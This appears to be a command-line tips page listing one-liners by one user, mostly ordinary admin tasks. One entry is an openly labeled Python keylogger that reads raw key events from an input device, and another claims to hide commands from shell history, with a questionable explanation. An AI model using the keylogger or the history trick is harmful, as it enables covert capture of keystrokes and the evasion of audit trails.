Commands by keith (3)

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Rename files in batch

Find usb device in realtime
Using this command you can track a moment when usb device was attached.

Shows users and 'virtual users' on your a unix-type system
Shows a list of users that currently running processes are executing as. YMMV regarding ps and it's many variants. For example, you might need: $ ps -axgu | cut -f1 -d' ' | sort -u

execute your commands and avoid history records
$ secret_command;export HISTCONTROL= This will make "secret_command" not appear in "history" list.

Find running binary executables that were not installed using dpkg
This helped me find a botnet that had made into my system. Of course, this is not a foolproof or guarantied way to find all of them or even most of them. But it helped me find it.

keylogger
$python -c "DEV = '/dev/input/event4' #if event0 doesn't work, try event1 event2 etc fo = open(DEV) def interpret(keycode,state): if state == 0: print '%i up'%keycode if state == 1: print '%i down'%keycode if state == 2: print '%i repeat'%keycode while 1: line = fo.read(16) if ord(line[10]) != 0: keycode,state = line[10],line[12] interpret(ord(keycode),ord(state)) "

Get a range of SVN revisions from svn diff and tar gz them
Handy when you need to create a list of files to be updated when subversion is not available on the remote host. You can take this tar file, and upload and extract it where you need it. Replace M and N with the revisions specific to yours. Make sure you do this from an updated (svn up) working directory.

lazy SQL QUERYING
alias for psql command line; works similar for Oracles sqlplus commandline interface. if you do not provide stdin you will end up in the db shell.

Synthesize text as speech
The Festival Speech Synthesis System converts text into sound. Or: links -dump http://youfavoritewebsite.com | festival --tts

Convert CSV to JSON
Replace 'csv_file.csv' with your filename.


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